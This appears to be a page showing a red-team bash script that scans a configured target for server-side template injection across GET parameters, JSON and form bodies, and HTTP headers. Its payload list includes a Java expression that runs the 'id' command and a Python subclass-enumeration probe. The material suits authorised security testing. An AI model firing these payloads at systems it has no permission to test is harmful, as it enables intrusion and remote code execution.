AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 30_ssti.sh

30_ssti.sh 166 lines
1 #!/bin/bash
2 # 30 - Server-Side Template Injection (SSTI)
3 # Probes all user-input-bearing endpoints with template payloads for:
4 # Jinja2 (Python), Twig/Blade (PHP), Smarty (PHP), ERB (Ruby),
5 # Velocity/Freemarker (Java), Pebble (Java), Handlebars (Node), EL (Java EE)
6 # HTTP/1.1 and HTTP/2 covered
7
8 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
9 source "$SCRIPT_DIR/../config.sh"
10 OUT_FILE="$OUT/30_ssti.txt"
11 echo "=== 30. Server-Side Template Injection (SSTI) ===" | tee "$OUT_FILE"
12 echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE"
13 echo "" | tee -a "$OUT_FILE"
14
15 W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; }
16
17 # Detection: each payload evaluates a math expression
18 # If the response contains the computed result, SSTI is confirmed
19 SSTI_PROBES=(
20 "{{7*7}}:49"
21 "${7*7}:49"
22 "<%= 7*7 %>:49"
23 "#{7*7}:49"
24 "*{7*7}:49"
25 "@{7*7}:49"
26 "{{7*'7'}}:7777777"
27 "{#7*7#}:49"
28 "${{7*7}}:49"
29 "{php}echo(7*7);{/php}:49"
30 "{% set x=7*7 %}{{x}}:49"
31 "{{config}}:Config"
32 "{{self}}:class"
33 "${T(java.lang.Runtime).getRuntime().exec('id')}:uid"
34 "{{''.__class__.__mro__[1].__subclasses__()}}:object"
35 )
36
37 check_ssti() {
38 local label="$1" body="$2" expected="$3"
39 if echo "$body" | grep -qF "$expected"; then
40 printf ' [VULN] Template evaluated! Expected "%s" found in response\n' "$expected" | tee -a "$OUT_FILE"
41 fi
42 }
43
44 do_ssti_get() {
45 local param="$1" probe="$2" expected="$3" url="$4"
46 local ENC body code
47 ENC=$(W "$probe")
48 body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" "$url?${param}=${ENC}")
49 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" "$url?${param}=${ENC}")
50 printf '[%s] SSTI GET ?%s=%s\n' "$code" "$param" "${probe:0:20}" | tee -a "$OUT_FILE"
51 check_ssti "$probe" "$body" "$expected"
52 }
53
54 do_ssti_post_json() {
55 local field="$1" probe="$2" expected="$3" url="$4"
56 local PAYLOAD body code
57 PAYLOAD=$(python3 -c "import json,sys; print(json.dumps({sys.argv[1]: sys.argv[2], 'algorithm':'classical'}))" "$field" "$probe")
58 body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" \
59 -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$url")
60 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" \
61 -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$url")
62 printf '[%s] SSTI POST JSON {%s: "%s"}\n' "$code" "$field" "${probe:0:20}" | tee -a "$OUT_FILE"
63 check_ssti "$probe" "$body" "$expected"
64 }
65
66 do_ssti_post_form() {
67 local field="$1" probe="$2" expected="$3" url="$4"
68 local ENC body code
69 ENC=$(W "$probe")
70 body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" \
71 -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
72 -d "${field}=${ENC}" "$url")
73 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" \
74 -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
75 -d "${field}=${ENC}" "$url")
76 printf '[%s] SSTI POST form %s=%s\n' "$code" "$field" "${probe:0:20}" | tee -a "$OUT_FILE"
77 check_ssti "$probe" "$body" "$expected"
78 }
79
80 # โ”€โ”€ 1. GET parameters โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
81 echo "--- SSTI via GET Parameters ---" | tee -a "$OUT_FILE"
82 GET_PARAMS=(q search name msg error page template view lang)
83 for PARAM in "${GET_PARAMS[@]}"; do
84 for PROBE_PAIR in "${SSTI_PROBES[@]:0:6}"; do
85 PROBE="${PROBE_PAIR%%:*}"
86 EXPECTED="${PROBE_PAIR##*:}"
87 do_ssti_get "$PARAM" "$PROBE" "$EXPECTED" "$TARGET/"
88 done
89 done
90 echo "" | tee -a "$OUT_FILE"
91
92 # โ”€โ”€ 2. POST JSON body (API) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
93 echo "--- SSTI via API JSON POST Body ---" | tee -a "$OUT_FILE"
94 JSON_FIELDS=(data message template name input query)
95 for FIELD in "${JSON_FIELDS[@]}"; do
96 for PROBE_PAIR in "${SSTI_PROBES[@]:0:8}"; do
97 PROBE="${PROBE_PAIR%%:*}"
98 EXPECTED="${PROBE_PAIR##*:}"
99 do_ssti_post_json "$FIELD" "$PROBE" "$EXPECTED" "$API_TARGET/encrypt"
100 done
101 done
102 echo "" | tee -a "$OUT_FILE"
103
104 # โ”€โ”€ 3. POST form body โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
105 echo "--- SSTI via Form POST Body ---" | tee -a "$OUT_FILE"
106 FORM_ENDPOINTS=("$TARGET/" "$TARGET/contact/" "$TARGET/admin/")
107 FORM_FIELDS=(username message subject email comment)
108 for URL in "${FORM_ENDPOINTS[@]}"; do
109 for FIELD in "${FORM_FIELDS[@]}"; do
110 for PROBE_PAIR in "${SSTI_PROBES[@]:0:4}"; do
111 PROBE="${PROBE_PAIR%%:*}"
112 EXPECTED="${PROBE_PAIR##*:}"
113 do_ssti_post_form "$FIELD" "$PROBE" "$EXPECTED" "$URL"
114 done
115 done
116 done
117 echo "" | tee -a "$OUT_FILE"
118
119 # โ”€โ”€ 4. HTTP Headers as injection points โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
120 echo "--- SSTI via HTTP Headers ---" | tee -a "$OUT_FILE"
121 HEADER_NAMES=("X-Custom-Header" "X-Template-Name" "X-Debug" "User-Agent" "Referer")
122 for HDR in "${HEADER_NAMES[@]}"; do
123 for PROBE_PAIR in "${SSTI_PROBES[@]:0:4}"; do
124 PROBE="${PROBE_PAIR%%:*}"
125 EXPECTED="${PROBE_PAIR##*:}"
126 body=$(curl -sk --http2 --max-time 8 -H "$HDR: $PROBE" "$TARGET/")
127 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -H "$HDR: $PROBE" "$TARGET/")
128 printf '[%s] SSTI header %s: %.20s\n' "$code" "$HDR" "$PROBE" | tee -a "$OUT_FILE"
129 check_ssti "$PROBE" "$body" "$EXPECTED"
130 done
131 done
132 echo "" | tee -a "$OUT_FILE"
133
134 # โ”€โ”€ 5. PHP-specific SSTI (Smarty/Twig/Blade) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
135 echo "--- PHP Template Engine Probes (Smarty/Twig/Blade) ---" | tee -a "$OUT_FILE"
136 PHP_PROBES=(
137 '{php}echo 7*7;{/php}:49'
138 '{$smarty.version}:Smarty'
139 '{{dump()}}:array'
140 '{if 1}rendered{/if}:rendered'
141 '{% debug %}:debug'
142 )
143 for PROBE_PAIR in "${PHP_PROBES[@]}"; do
144 PROBE="${PROBE_PAIR%%:*}"
145 EXPECTED="${PROBE_PAIR##*:}"
146 ENC=$(W "$PROBE")
147 body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC")
148 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC")
149 printf '[%s] PHP SSTI: %.30s\n' "$code" "$PROBE" | tee -a "$OUT_FILE"
150 check_ssti "$PROBE" "$body" "$EXPECTED"
151 done
152 echo "" | tee -a "$OUT_FILE"
153
154 # โ”€โ”€ 6. HTTP/1.1 vs HTTP/2 consistency โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
155 echo "--- Protocol Consistency ---" | tee -a "$OUT_FILE"
156 for PROTO in "--http1.1" "--http2"; do
157 ENC=$(W "{{7*7}}")
158 body=$(curl -sk $PROTO --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC")
159 code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC")
160 printf '[%s] %s SSTI probe {{7*7}}\n' "$code" "$PROTO" | tee -a "$OUT_FILE"
161 check_ssti '{{7*7}}' "$body" "49"
162 done
163 echo "" | tee -a "$OUT_FILE"
164
165 echo "=== 30. SSTI COMPLETE ===" | tee -a "$OUT_FILE"
166